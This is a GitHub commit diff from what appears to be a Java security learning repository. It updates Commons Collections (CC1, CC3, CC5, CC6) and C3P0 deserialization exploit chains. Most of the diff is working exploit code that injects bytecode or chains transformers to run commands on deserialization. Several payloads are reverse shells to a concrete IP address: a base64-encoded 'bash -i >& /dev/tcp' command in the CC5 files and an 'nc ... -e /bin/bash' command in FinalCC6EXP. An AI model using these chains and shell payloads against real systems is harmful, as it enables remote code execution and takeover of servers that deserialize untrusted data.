Skip to content

Commit

Permalink
🍻Write code drunkenly.
Browse files Browse the repository at this point in the history
  • Loading branch information
Drun1baby committed Oct 31, 2022
1 parent ebd4f1b commit d782849
Show file tree
Hide file tree
Showing 229 changed files with 2,074 additions and 197 deletions.
Binary file modified JavaSecurity/C3P0/C3P0Vuls/ser.bin
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
import java.lang.reflect.Method;
import java.util.Hashtable;

// 从 ReferenceableUtils 出发,调用 URLClassLoader 的 EXP (但是失败了
// 从 ReferenceableUtils 出发,调用 URLClassLoader 的 EXP
public class RefToURLClassLoader {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
Expand Down
Binary file added JavaSecurity/CC/CC1/ser.bin
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -15,14 +15,15 @@
// 最终的 EXP
public class TransformMapEXP {
public static void main(String[] args) throws Exception{
String[] cmd = {"Calc"};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
new InvokerTransformer("exec", new Class[]{String.class}, cmd)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Expand All @@ -34,8 +35,8 @@ public static void main(String[] args) throws Exception{
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 序列化反序列化
serialize(o);
//unserialize("ser.bin");
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
Expand Down
Binary file not shown.
Binary file modified JavaSecurity/CC/CC1/target/classes/Test.class
Binary file not shown.
15 changes: 14 additions & 1 deletion JavaSecurity/CC/CC3/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -9,12 +9,25 @@
<version>1.0-SNAPSHOT</version>

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>org.jboss.classpool</groupId>
<artifactId>jboss-classpool</artifactId>
<version>1.0.0.GA</version>
</dependency>


</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
Expand Down
Binary file modified JavaSecurity/CC/CC3/ser.bin
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package main.CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package main.CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
Expand Down
36 changes: 32 additions & 4 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC3FinalEXP1.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,11 @@
package CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
Expand Down Expand Up @@ -31,13 +36,14 @@ public static void main(String[] args) throws Exception

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
// new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMC4xNjQvMTIzNiAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
Expand Down Expand Up @@ -73,4 +79,26 @@ public static Object unserialize(String Filename) throws IOException, ClassNotFo
Object obj = ois.readObject();
return obj;
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}
2 changes: 2 additions & 0 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC3FinalEXP2.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
Expand Down
2 changes: 2 additions & 0 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC3HalfEXP.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package main.CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
Expand Down
2 changes: 2 additions & 0 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC6TemplatesEXP.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package main.CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
Expand Down
2 changes: 2 additions & 0 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/Calc.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package main.CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
Expand Down
2 changes: 2 additions & 0 deletions JavaSecurity/CC/CC3/src/main/CC3ysoEXP/TemplatesImplEXP.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package CC3ysoEXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

Expand Down
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file removed JavaSecurity/CC/CC3/target/classes/CC3HalfEXP.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file removed JavaSecurity/CC/CC3/target/classes/Calc.class
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
18 changes: 17 additions & 1 deletion JavaSecurity/CC/CC5/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,28 @@
<artifactId>CC5</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>org.jboss.classpool</groupId>
<artifactId>jboss-classpool</artifactId>
<version>1.0.0.GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>

</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
Expand Down
Binary file modified JavaSecurity/CC/CC5/ser.bin
Binary file not shown.
4 changes: 3 additions & 1 deletion JavaSecurity/CC/CC5/src/CC5EXP/CC5EXP.java
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
package CC5EXP;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
Expand All @@ -20,7 +22,7 @@ public static void main(String[] args) throws Exception{
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvMjMzNCAwPiYx}|{base64,-d}|{bash,-i}\"}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Expand Down
120 changes: 118 additions & 2 deletions JavaSecurity/CC/CC5/src/CC5EXP/Test.java
Original file line number Diff line number Diff line change
@@ -1,2 +1,118 @@
package CC5EXP;public class Test {
}
package CC5EXP;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");

byte[] code = getTemplatesImpl("\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\"}");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("key");

Class c = LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap, chainedTransformer);

serialize(map2);
unserialize("ser.bin");
//templates.newTransformer();

}
}
Binary file removed JavaSecurity/CC/CC5/target/classes/CC5EXP.class
Binary file not shown.
Binary file modified JavaSecurity/CC/CC5/target/classes/CC5EXP/CC5EXP.class
Binary file not shown.
Binary file not shown.
3 changes: 2 additions & 1 deletion JavaSecurity/CC/CC6/src/CC6ysoEXP/FinalCC6EXP.java
Original file line number Diff line number Diff line change
Expand Up @@ -13,11 +13,12 @@
// CC6 链最终 EXP
public class FinalCC6EXP {
public static void main(String[] args) throws Exception{
String[] cmd = {"nc 81.68.120.14 9990 -e /bin/bash"};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
new InvokerTransformer("exec", new Class[]{String.class}, cmd)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Expand Down
20 changes: 20 additions & 0 deletions JavaSecurity/CodeReview/JavaSec-Code/CC/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,26 @@
</parent>
<modelVersion>4.0.0</modelVersion>

<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>org.jboss.classpool</groupId>
<artifactId>jboss-classpool</artifactId>
<version>1.0.0.GA</version>
</dependency>
</dependencies>

<artifactId>CC</artifactId>

<properties>
Expand Down
Loading

0 comments on commit d782849

Please sign in to comment.